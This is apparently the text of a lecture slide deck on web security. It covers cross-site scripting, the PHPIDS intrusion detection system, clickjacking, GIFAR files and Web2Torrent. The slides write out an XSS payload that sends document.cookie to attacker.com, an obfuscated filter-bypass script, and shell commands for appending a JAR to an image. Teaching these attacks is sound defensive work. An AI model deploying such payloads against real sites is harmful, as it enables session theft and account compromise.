Web Security - Overview

By: Kishor Datar
Happy April Fool’s Day
Agenda

• Cross Site Scripting
• PHPIDS
• Some new hacking techniques
• Tools
# Same Origin Policy

<table>
<thead>
<tr>
<th><a href="http://www.domain.com">www.domain.com</a></th>
<th>Hello World</th>
<th>HTML</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>&lt;body&gt;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Hello World</td>
</tr>
<tr>
<td></td>
<td></td>
<td>alert(document.cookie)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&lt;/body&gt;</td>
</tr>
</tbody>
</table>
Cross Site Scripting

- **http://ebiquity/hello.cgi?name=Kishor**
- GET /hello.cgi?name=Kishor HTTP/1.0

HTTP/1.0 200 OK
Headers:......
<html>
  Hello **Kishor**
</html>
Cross Site Scripting

- GET /hello.cgi?name=<script>alert(‘Hi’)</script>
  HTTP/1.0

HTTP/1.0 200 OK
Headers:......
<html>
  Hello <script>alert(‘Hi’)</script>
</html>
Cross Site Scripting

- GET
  
  \(/\text{hello.cgi?name=}\langle\text{script}\rangle f=\text{createFrame}(); f.\text{src=\"http://attacker.com?c=\"++document.cookie\text{\}"\rangle \text{HTTP/1.0}

HTTP/1.0 200 OK

Headers:.....

<html>Hello

  \(<\text{script}\rangle f=\text{createFrame}(); f.\text{src=\"http://attacker.com?c=\"++document.cookie\text{\}"\rangle

</html>
Your Cookie Reached the Attacker

http://attacker.com?c=15721574324031123490365
Attacker Sends Victim a Link
http://ebiquity/page.cgi?name=EVILSCRIPT
Victim Clicks the Link

Victim’s Browser Sends Request To ebiquity
    ebiquity Server Echoes EVILSCRIPT
Script Comes Back To Victim’s Browser

Victim’s Browser Executes EVILSCRIPT
And Being an EVILSCRIPT, it does Bad Things
What can XSS do?

– Steal sessions/cookies

– Log keystrokes/steal passwords

– Everything that’s possible with JavaScript
Where is the input echoed

- [http://ebiquity/hello.cgi?name=Kishor](http://ebiquity/hello.cgi?name=Kishor)
- GET /hello.cgi?name=Kishor HTTP/1.0

HTTP/1.0 200 OK
Headers:.....
<html>
  Hello <b>Kishor</b>
</html>
Where is the input echoed

- hello.cgi?name=input
- <html><input></html>
- <img src="input.jpg">
- <script><input></script>
- <style><input></style>
- And lots of other places
Try XSS for yourself

• http://h4k.in/xssinexcess.php
• IDS
• Solutions
  http://h4k.in/kishor/xssinexcess/solutions.txt
XSS can get very complex

- Encodings
  - `<script>f=createFrame();f.src="http://attacker.com?c="+document.cookie</script>`
- Browser Specific Behaviour
- `/kishor/.source`
- Bugs in the browsers
  - `<IMG SRC="javascript:alert('XSS')">`
- [http://ha.ckers.org/xss.html](http://ha.ckers.org/xss.html)
Stopping XSS

• Static HTML 😊
• Filter input
• Use IDS
• http://www.owasp.org/
PHPIDS

- [http://phpids.org/](http://phpids.org/)
- Simple to use
- Well structured
- Fast
- For a PHP based web application
- Perl port, Previously had C# port
- Heavily tested filter rules (RegExps) for XSS, SQL, Other attacks
- Attack is given a numerical impact rating
PHPIDS

- Basic filtering
- What if content lands inside a script tag?
  - <script>YOUR CONTENT HERE</script>
- PHPIDS has filters to block even these injections
a=0==1?a:'eva' ; a=a + 'l';
b=0==1?b:'aler' ; b=b + 't(1+" Hi'; b=b + '"+1)';
c=0==1?c:'cc' ;

{cc : a
}
[
  c
]
[
  a
]
(b
)
z=/z/!=/z/?":0;
a=/a/!=/a/?'l'+z:0;
a=/a/!=/a/?'eva'+a:0;
b=/a/!=/a/?'bstr(1)'+z:0;
b=/a/!=/a/?'ash.su'+b:0;
b=/a/!=/a/?'tion.h'+b:0;
b=/a/!=/a/?'loca'+b:0;
c=(0[a]);
d=(c(b));
c(d)

#alert('e^(i*pi)=-1')
IDS pros/cons

• Not generic
• For a particular language
• Speed
• False positives
• Quick fix
• Need not be XSS expert
Universal PDF XSS

• http://host/file.pdf#anyname=javascript:your_code_here

• If you hosted any PDF file you were vulnerable

• Patching is hard

• Fix is applicable at client side

ClickJacking
Flash Player Help

Global Security Settings panel

TABLE OF CONTENTS

Flash Player Help
Settings Manager
- Global Privacy Settings Panel
- Global Storage Settings Panel
- Global Security Settings Panel
- Global Notifications Settings Panel
- Website Privacy Settings Panel
- Website Storage Settings Panel
Display Settings
Local Storage Settings
Microphone Settings

Adobe Flash Player™ Settings Manager

Global Security Settings

Some websites may access information from other sites using an older system of security. This is usually harmless, but it is possible that some sites could obtain unauthorized information using the older system. When a website attempts to use the older system to access information:

- Always ask
- Always allow
- Always deny

Always trust files in these locations: Edit locations...
ClickJacking

• More
• http://guya.net/security/clickjacking/game.html
• http://www.youtube.com/watch?v=gxyLbpldmuU
• http://www.sectheory.com/clickjacking.htm
GIFAR

```
jar cvf evil.jar Evil*.class

cp fancyimage.jpg fancyevilimage.jpg

cat evi.jar >> fancyevilimage.jpg
```
### Same Origin Policy

<table>
<thead>
<tr>
<th><a href="http://www.D1.com">www.D1.com</a></th>
<th>HTML</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hello World</td>
<td><code>&lt;body&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>Hello World</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;script&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>alert(document.cookie)</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;/script&gt;</code></td>
</tr>
<tr>
<td></td>
<td><code>&lt;/body&gt;</code></td>
</tr>
</tbody>
</table>
• Upload GIFAR on google
• Use applet from anywhere
• Served from lh4.ggpht.com
• Alias of google: lh4.google.com
• [http://groups-beta.google.com/groups/profile/contacts?out=&max=50](http://groups-beta.google.com/groups/profile/contacts?out=&max=50)
• HTTPURLConnection
• Host: groups-beta.google.com
GIFAR

• More

http://www.gnucitizen.org/blog/java-jar-attacks-and-features/

http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/
Web2Torrent

• Split Movie-File in parts
• Base 64 Encode Each Part
• Publish 1\textsuperscript{st} part as a blog post
• That post links to 2\textsuperscript{nd} part which is 2\textsuperscript{nd} post
• Put 2\textsuperscript{nd} part in second post
• Create linked posts
• You just hosted a movie on your blog!
• More:
  \url{http://wasjournal.blogspot.com/2008/03/web2torrent-let-web-pages-host-your.html}
Tools

• [http://www.businessinfo.co.uk/labs/hackverto/hackvertor.php](http://www.businessinfo.co.uk/labs/hackverto/hackvertor.php)
• [http://ha.ckers.org/xss.html](http://ha.ckers.org/xss.html)
• NoScript
• ModifyHeaders
• Paros
questions?
References

- http://ha.ckers.org/
- http://sla.ckers.org/
- http://www.gnucitizen.org/
- http://wasjournal.blogspot.com/
- http://xs-sniper.com/
- http://jerimiahgrossman.blogspot.com/
- http://www.owasp.org/

- You can find more references on above links/blogs